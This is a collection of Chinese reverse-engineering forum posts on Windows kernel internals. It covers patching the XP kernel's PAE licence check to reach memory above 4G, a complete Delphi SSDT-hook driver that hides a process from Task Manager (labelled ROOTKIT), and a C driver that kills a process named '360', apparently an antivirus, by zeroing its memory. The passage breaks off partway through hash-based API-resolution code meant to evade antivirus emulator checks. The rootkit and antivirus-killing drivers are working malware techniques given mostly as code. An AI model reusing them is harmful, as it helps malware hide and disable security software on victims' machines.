      BlpTruncateDescriptors(0xFFFFFu);
}
BlpTruncateDescriptors(0xFFFFFu)函數的功能就是設置內存描述鍊錶的最大頁面號為0xFFFFF,即截去4G
以上的內存,原來我們編譯的wrkx86.exe不支持PAE,被NTLDR發現了,故而才調用BlpTruncateDescriptors
截斷的,而我們的XP用的內核ntkrnlpa.exe是支持PAE的,那麼就不會截斷了,哎,馬虎啊。 。 。
那還是鎖定ntkrnlpa.exe分析吧,充分發揚廢寢忘食的精神,終於找到了一個可疑的函數ExVerifySuite,
這不會就是驗證我們版本的函數吧,網上一查,發現有位“老生常談”早就發現了,他的文章在這裡
http://thxlp.wordpress.com/2008/08/03/%E8%80%81%E7%94%9F%E5%B8%B8%E8%B0%88-
windows%E5%92%8C4g%E4%BB%A5%E4%B8%8A%E7%89%A9%E7%90%86%E5%86%85%E5%AD%98/
汗。 。 。 。差距啊,不過這位老大發現這麼久竟然不出補丁,拯救我們廣大百姓於水貨,哎。 。 。害我熬夜
傷神這麼久。 。 。 。
不過這位“老生”的代碼不知道從哪裡搞的,nt4源碼裡沒有MiCheckPaeLicense這個函數,而windows2000
的源代碼裡雖然有這個函數,但差別很大,wrk的源代碼裡也不是那樣的,反彙編XP的ntkrnlpa.exe,代碼
如下

代碼:
int __usercall MiCheckPaeLicense<eax>(PLOADER_PARAMETER_BLOCK LoaderBlock<eax>)
{
  EndPage = 0;
  LoaderBlock1 = LoaderBlock;
  MaxPageCount = 0x100000u;
  MaxPage = 0;
  if ( ExVerifySuite(DataCenter) == 1 )
  {
    if (LoaderBlock->u.I386.VirtualBias )
    {
      MaxPageCount = 0x400000u; // booting /3gb: 16G
      MaxPage = 0x400000u;
    }
    else
    {
      MaxPageCount = 0x1000000u;
    } // DataCenter: 64G
  }
  else
  {
    if ( MmProductType == 0x690057 || ExVerifySuite(Enterprise) != 1 )
    {
      if ( ExVerifySuite(ServerAppliance) == 1 )
        MaxPageCount = 0x80000u; // 2G
      else
        MaxPage = 0x100000u; // 4G
    }
    else
    {
      MaxPageCount = 0x800000u;// Advanced Server is permitted a maximum of 32gb
    }
  }
實在是不知道這位高人的代碼來自哪裡,懇請各位高人給予指點。 。 。
從這段代碼裡可以看出,MiCheckPaeLicense函數會檢查操作系統的版本,如果是DataCenter,就允許使用
64G內存,Advanced Server為32G,如果為精簡版則為2G,其他版本為4G,看來真是ntkrnlpa.exe在作怪,
先別急著patch,驗證內存限制的還有一個地方,在MmAddPhysicalMemoryEx函數里也會調用ExVerifySuite
這個函數,代碼如下:

代碼:
if ( ExVerifySuite(DataCenter) == 1 )
  {
    LimitPage = 0x1000000u; // DataCenter : 64G
  }
  else
  {
    if ( MmProductType == 0x690057 || (v9 = ExVerifySuite(Enterprise) == 1, LimitPage =
0x800000u, !v9) )// Advanced Server : 32G
      LimitPage = 0x100000u; // Other : 4G
  }
代碼都差不多,要patch的話兩個地方要一起改,至於怎麼改?代碼都在這麼裡,想怎麼改就怎麼改吧,只
要兩個地方都改了就行,只要其中一個地方不改,ntos都會陰魂不散的把你多出來的內存吃掉…
看成果吧

代碼:
lkd> dd MmHighestPhysicalPage
8088b124 00137fff 000f7399 00000040 00000000

lkd> dd MmNumberOfPhysicalPages
8088b128 000f7399 00000040 00000000 7fff0000

lkd> !pte d0800000
                    VA d0800000
PDE at C0603420 PTE at C0684000
contains 00000001004DF963 contains E15C080000000400
pfn 1004df -G-DA--KWEV not valid
                            Proto: E15C0800
數數這個地址1004DF963,9位啊,4G以上了,不要被E15C080000000400這個地址嚇到了,64位,有這麼大的
地址嗎?查查PTE的結構體就知道了,前面的幾位是標誌位
再看物理內存塊

代碼:
lkd> dd poi(MmPhysicalMemoryBlock)
8baa3c70 00000008 000f73ab 00000001 0000009d
8baa3c80 00000100 000bf17c 000bf282 000000dd
8baa3c90 000bf40f 00000060 000bf70f 00000008
8baa3ca0 000bf71f 0000004c 000bf7ff 00000001
8baa3cb0 00100000 00038000 0001000a 6c4d6d4d
看到了嗎,我的機器現在有8塊可用的內存了,多了一個100000-138000,總共有f73ab頁了,
0xf73ab*0x1000=3.86G,至於還有140M,主板沒映射,用不到了,能不能解決呢?希望各位牛人能夠給予指
點。 。 。

後面部分比較倉促,主要是聽到重任到來的消息,沒時間仔細寫了,補丁沒寫完,估計一時半會完成不了
了,倉促發帖,開始潛伏。 。 。

SSDT Hook原理及Delphi實現

作者:mickeylan
  
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。

用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
  ServiceTableBase:PULONG;
  ServiceCounterTableBase:PULONG;
  NumberOfServices:ULONG;
  ParamTableBase:PByte;
end;

其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:

右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:

其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
  Next: PMDL;
  Size: CSHORT;
  MdlFlags: CSHORT;
  Process: PEPROCESS;
  MappedSystemVa: PVOID;
  StartVa: PVOID;
  ByteCount: ULONG;
  ByteOffset: ULONG;
end;

首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:

{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
  SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
  SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
  SystemInformationLength: ULONG;
  ReturnLength: PULONG): NTSTATUS; stdcall;

如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;

interface

uses
  nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                      pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
  {定義ZwQuerySystemInformation函數類型}
  TZwQuerySystemInformation =
    function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;

var
  m_UserTime: LARGE_INTEGER;
  m_KernelTime: LARGE_INTEGER;
  OldZwQuerySystemInformation: TZwQuerySystemInformation;
  g_pmdlSystemCall: PMDL;
  MappedSystemCallTable: PPointer;
  lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
  當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
  IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
  FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
  需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
  { 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
    KeServiceDescriptorTable }
  Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
  { SSDT偏移+函數名,就是SSDT函數偏移 }
  { Delphi 2009中支持Pointer Math運算,可以這樣寫 }
  {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
  { 如果用其他版本,就只能像下面這樣寫了 }
  Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
            SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
            ReturnLength: PULONG): NTSTATUS; stdcall;
var
  nt_Status: NTSTATUS;
  curr, prev: PSYSTEM_PROCESSES;
  times: PSYSTEM_PROCESSOR_TIMES;
begin
  nt_Status := OldZwQuerySystemInformation(
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

  if NT_SUCCESS(nt_Status) then
  begin
    { 請求文件、目錄列表 }
    if SystemInformationClass = SystemProcessesAndThreadsInformation then
    begin
      { 列舉系統進程鍊錶 }
      { 尋找"InstDrv"進程 }
      curr := PSYSTEM_PROCESSES(SystemInformation);
      prev := nil;
      while curr <> nil do
      begin
        DbgPrint('Current item is %x'#13#10, curr);
        if curr^.ProcessName.Buffer <> nil then
        begin
          if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
          begin
            Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
            Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

            if prev <> nil then
            begin
              { Middle or Last entry }
              if curr^.NextEntryDelta <> 0 then
                Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
              else
                { we are last, so make prev the end }
                prev^.NextEntryDelta := 0;
            end else
            begin
              if curr^.NextEntryDelta <> 0 then
              begin
                { we are first in the list, so move it forward }
                PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                curr^.NextEntryDelta;
              end else { we are the only process! }
                SystemInformation := nil;
            end;
          end;
        end else { Idle process入口 }
        begin
          { 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
          Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
          Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

          { 重設時間,為下一次過濾 }
          m_UserTime.QuadPart := 0;
          m_KernelTime.QuadPart := 0;
        end;
        prev := curr;
        if curr^.NextEntryDelta <> 0 then
          PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
        else
          curr := nil;
      end;
    end else if SystemInformationClass = SystemProcessorTimes then
    begin
      times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
      times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                  m_UserTime.QuadPart +
                                  m_KernelTime.QuadPart;
    end;
  end;
  Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('ROOTKIT: OnUnload called'#13#10);

  { 卸載hook }
  InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                      LONG(@OldZwQuerySystemInformation));
  { 解鎖並釋放MDL }
  if g_pmdlSystemCall <> nil then
  begin
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                      pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
  { 取得指向系統服務描述符表的指針…… }
  lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
  { 註冊一個卸載的分發函數,與與應用層溝通 }
  pDriverObject^.DriverUnload := @OnUnload;

  { 初始化全局時間為零 }
  { 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
    消耗會不變,cpu 100% }
  m_UserTime.QuadPart := 0;
  m_KernelTime.QuadPart := 0;

  { 保存舊的函數地址 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

  { 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

  { 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
   先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
   下來就剩下具體的過濾任務了 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                        LONG(@NewZwQuerySystemInformation)));

  Result := STATUS_SUCCESS;
end;

end.

這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。

2011年7月27日星期三

暴力強殺進程代碼

作 者: zycxy
時 間: 2011-04-19,0​​1:48:17
鏈接: http://bbs.pediy.com/showthread.php?t=132600

看到竹君大大的內存清零殺進程。裡面用了KeAttachProcess。如果hook了KiAttachProcess,應該就不能成功了。我想能不能更直接些呢。直接將要結束進程的物理內存映射到HyperSpace,然後清零。寫了調試了一晚上,終於好了。在下菜鳥一個,請大家多多指教!在XP SP2和SP3下測試通過。都是PAE分頁。

代碼:
#include <ntddk.h>

#define HYPER_SPACE_BASE (0xc0800000)
#define PDE_BASE (0xc0600000)
#define PTE_BASE (0xc0000000)

#define DIRECTORY_TABLE_BASE (0x18)
#define ACTIVE_PROCESS_LINKS_OFFSET (0x88​​)
#define IMAGE_FILE_NAME_OFFSET (0x174)

#define PROCESS_TO_TERMINATE ("360")

ULONG MapPhysicalAddrToHyperSpace(ULONG PhysicalAddr);
VOID DeleteMapping(ULONG Addr);
VOID DriverUnload(PDRIVER_OBJECT pDriverObject);

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
  PEPROCESS pCurrProcess = NULL;
  PEPROCESS pSysProcess = NULL;
  ULONG cr3 = 0;
  ULONG MappedCr3Addr = 0;
  ULONG MappedPdeAddr = 0;
  ULONG MappedPteAddr = 0;
  ULONG MappedRealAddr = 0;
  ULONG i = 0;
  ULONG j = 0;
  ULONG s = 0;
  ULONG t = 0;

  pDriverObject->DriverUnload = DriverUnload;

  pCurrProcess = PsGetCurrentProcess();
  pSysProcess = pCurrProcess;
  pCurrProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurrProcess + ACTIVE_PROCESS_LINKS_OFFSET) - ACTIVE_PROCESS_LINKS_OFFSET);

  while(RtlCompareMemory((PUCHAR)((ULONG)pCurrProcess + IMAGE_FILE_NAME_OFFSET),PROCESS_TO_TERMINATE,3) != 3)
  {
    pCurrProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurrProcess + ACTIVE_PROCESS_LINKS_OFFSET) - ACTIVE_PROCESS_LINKS_OFFSET);

    if(pCurrProcess == pSysProcess)
    {
      return STATUS_UNSUCCESSFUL;
    }
  }

  cr3 = *(PULONG)((ULONG)pCurrProcess + DIRECTORY_TABLE_BASE);

  MappedCr3Addr = MapPhysicalAddrToHyperSpace(cr3);

  if(!MappedCr3Addr)
  {
    return STATUS_UNSUCCESSFUL;
  }

  for(t = 0;t < 2;t++)
  {

    MappedPdeAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedCr3Addr + t * 8) & 0xfffff000);

    if(!MappedPdeAddr)
    {
      return STATUS_UNSUCCESSFUL;
    }
  
    for(i = 0;i < 512;i++)
    {
      if(*(PULONG)(MappedPdeAddr + i * 8) & 1)
      {
        /*if((*(PULONG)(MappedPdeAddr + i * 8) & 0x80) && !(*(PULONG)(MappedPdeAddr + i * 8 + 4) & 80000000))
        {
          for(j = 0;j < 512;j++)
          {
            MappedRealAddr = MapPhysicalAddrToHyperSpace((*(PULONG)(MappedPdeAddr + i * 8) + j * 4096)& 0xfffff000);

            for(s = 0;s < 1024;s++)
            {
              *(PULONG)(MappedRealAddr + s*4) = 0;
            }

            DeleteMapping(MappedRealAddr);
          }

          continue;
        }*/

        if(*(PULONG)(MappedPdeAddr + i * 8) & 0x80)
        {
          return STATUS_UNSUCCESSFUL;
        }

        MappedPteAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedPdeAddr + i * 8) & 0xfffff000);
  
        if(!MappedPteAddr)
        {
          return STATUS_UNSUCCESSFUL;
        }

        for(j = 0;j < 512;j++)
        {
          //if((*(PULONG)(MappedPteAddr + j * 8) & 1) && !(*(PULONG)(MappedPteAddr + j * 8 + 4) & 0x80000000))
          if(*(PULONG)(MappedPteAddr + j * 8) & 1)
          {
            MappedRealAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedPteAddr + j * 8) & 0xfffff000);

            if(!MappedRealAddr)
            {
              return STATUS_UNSUCCESSFUL;
            }

            for(s = 0;s < 1024;s++)
            {
              *(PULONG)(MappedRealAddr + s*4) = 0;
            }
          
            DeleteMapping(MappedRealAddr);
          }
        }

        DeleteMapping(MappedPteAddr);
      }
      
      if(t == 1 && i >= 383)
      {
        break;
      }
    }

    DeleteMapping(MappedPdeAddr);
  }

  DeleteMapping(MappedCr3Addr);

  return STATUS_SUCCESS;
}

ULONG MapPhysicalAddrToHyperSpace(ULONG PhysicalAddr)
{
  ULONG RoundDownPhysicalAddr = PhysicalAddr & 0xfffff000;
  ULONG Entry = RoundDownPhysicalAddr | 0x3;
  ULONG HyperSpacePteBase = (HYPER_SPACE_BASE >> 12) * 8 + PTE_BASE;
  ULONG i = 0;
  ULONG Address = 0;

  for(; i < 1024;i++)
  {
    if(*(PULONG)(HyperSpacePteBase + i * 8) == 0)
    {
      *(PULONG)(HyperSpacePteBase + i*8) = Entry;

      Address = HYPER_SPACE_BASE + i * 0x1000 + PhysicalAddr - RoundDownPhysicalAddr;

      __asm​​ invlpg Address

      return Address;
    }
  }

  return 0;
}

VOID DeleteMapping(ULONG Addr)
{
  *(PULONG)((Addr >> 12) * 8 + PTE_BASE) = 0;

  return;
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
  return;
}

2011年7月26日星期二

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查
作 者: 玩命
時 間: 2010-11-18,09:44:13
鏈接: http://bbs.pediy.com/showthread.php?t=125011

好幾個朋友問我如何過虛擬機,虛擬機跑起來除了脫殼的作用。還有就是針對動態獲取的API做調用做判別然後歸納行為。以下代碼就是解決這個問題的。


代碼:
#include <string.h>
#include "crc.h"

#include "xGetProcAddress.h"

#define __GetDosHeader__(x) ((PIMAGE_DOS_HEADER)(x))
#define __GetNtHeader__(x) ((PIMAGE_NT_HEADERS)((DWORD)__GetDosHeader__(x)->e_lfanew + (DWORD)(x)))
#define __RvaToVa__(base,offset) ((PVOID)((ULONG)(base) + (ULONG)(offset)))
#define __VaToRva__(base,offset) ((PVOID)((ULONG)(offset) - (ULONG)(base)))

typedef HMODULE (WINAPI *FPLoadLibraryA)(LPCSTR pLibName);
typedef ULONG (__stdcall *FPHashFunc)(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue);
typedef LPVOID (WINAPI *FPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *FPDllMain)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);

PIMAGE_DATA_DIRECTORY ExistDataDirectory(PUCHAR pMem, DWORD dwIndex) {
    PIMAGE_NT_HEADERS pNtHeader = __GetNtHeader__(pMem);
    return (PIMAGE_DATA_DIRECTORY)(&pNtHeader->OptionalHeader.DataDirectory[dwIndex]);
}

ULONG __stdcall MyHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    ULONG dwCrc32 = crc32(pTarget, iTargetSize);
    memcpy(pHashValue, &dwCrc32, sizeof(ULONG));
    return sizeof(ULONG);
}

PIMAGE_SECTION_HEADER GetFirstSectionByNtHeader(PIMAGE_NT_HEADERS pNtH) {
    return IMAGE_FIRST_SECTION(pNtH);
}

BOOL InThisSection(PIMAGE_SECTION_HEADER pSectH, DWORD ofOffset, BOOL bRva) {
    return (bRva ? (ofOffset >= (DWORD)(pSectH->VirtualAddress)) && (ofOffset < (DWORD)(pSectH->VirtualAddress + pSectH->Misc.VirtualSize)) :
        (ofOffset >= (DWORD)(pSectH->PointerToRawData)) && (ofOffset < (DWORD)(pSectH->PointerToRawData + pSectH->SizeOfRawData)));
}

PIMAGE_SECTION_HEADER Rva2Section(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRva, TRUE))
            break;

        --wNumOfSects;
        ++pSectH;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

PIMAGE_SECTION_HEADER Raw2Section(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRaw, FALSE))
            break;

        --wNumOfSects;
        pSectH++;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

DWORD Rva2Raw(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_SECTION_HEADER pSectH = Rva2Section(pMem, ofRva);
    return ((NULL == pSectH) ? NULL : (ofRva - pSectH->VirtualAddress + pSectH->PointerToRawData));
}

DWORD Raw2Rva(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_SECTION_HEADER pSectH = Raw2Section(pMem, ofRaw);
    return ((NULL == pSectH) ? NULL : (ofRaw - pSectH->PointerToRawData + pSectH->VirtualAddress));
}

// 函數聲明
FARPROC xLdrGetExportByName(
    PUCHAR pBaseAddress,
    PUCHAR pHashPoint,
    ULONG iHashSize,
    FPHashFunc pHashFunc, FARPROC fpLoadLibraryA
    );
ULONG __stdcall xLdrFixupForwardHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    memcpy(pHashValue, pTarget, iTargetSize);
    return iTargetSize;
}

FARPROC xLdrFixupForward(PUCHAR pForwardName, FARPROC fpLoadLibraryA) {
    CHAR NameBuffer[128];
    PUCHAR pPoint;
    HMODULE hModule;
    PUCHAR pBaseAddress;
    FARPROC pFunction;
    FPLoadLibraryA pLoadLibraryA = (FPLoadLibraryA)fpLoadLibraryA;

    strcpy(NameBuffer, (char *)pForwardName);
    pPoint = (PUCHAR)strchr(NameBuffer, '.');
    if (pPoint) {
        ULONG iProcLen = 0;

        *pPoint = 0;
        hModule = pLoadLibraryA(NameBuffer);
        if (!hModule) return NULL;

        iProcLen = strlen((char *)pPoint + 1);
        pFunction = xLdrGetExportByName((PUCHAR)hModule,
                                        (PUCHAR)(pPoint + 1),
                                        iProcLen,
                                        (FPHashFunc)xLdrFixupForwardHashFunc,
                                        fpLoadLibraryA);
        return pFunction;
    }

    return NULL;
}

FARPROC xLdrGetExportByOrdinal(PUCHAR pBaseAddress, WORD wOrdinal, FARPROC fpLoadLibraryA) {
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    ULONG iExportDirSize;
    ULONG **pExFunctionsPoint;
    FARPROC pFunction;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBaseAddress + pExportDataDirectory->VirtualAddress);
    if (!pExportDir)
        return NULL;
    iExportDirSize = pExportDataDirectory->Size;

    pExFunctionsPoint = (ULONG **)__RvaToVa__(pBaseAddress, pExportDir->AddressOfFunctions);
    pFunction = (FARPROC)(0 != pExFunctionsPoint[wOrdinal - pExportDir->Base]
                ? __RvaToVa__(pBaseAddress, pExFunctionsPoint[wOrdinal - pExportDir->Base])
                : NULL);

    if (((DWORD)pFunction >= (DWORD)pExportDir) &&
        ((DWORD)pFunction < (DWORD)pExportDir + (DWORD)iExportDirSize))
        pFunction = xLdrFixupForward((BYTE *)pFunction, fpLoadLibraryA);

    return pFunction;
}

FARPROC xLdrGetExportByName(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, \
                                              FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    WORD wOrdinal = 0;
    ULONG iDirCount = 0;
    ULONG *pAddrTable = NULL;
    ULONG addrAddr = 0;
    ULONG ofRVA = 0;
    ULONG iExpDataSize = 0;
    PIMAGE_EXPORT_DIRECTORY pEd = NULL;
    PIMAGE_NT_HEADERS pNt = NULL;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = NULL;
    if (pBaseAddress == NULL) return NULL;

    pNt = __GetNtHeader__(pBaseAddress);
    iDirCount = pNt->OptionalHeader.NumberOfRvaAndSizes;
    if (iDirCount < IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return FALSE;
    pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    if (!pExportDataDirectory)
        return NULL;
    iExpDataSize = pExportDataDirectory->Size;
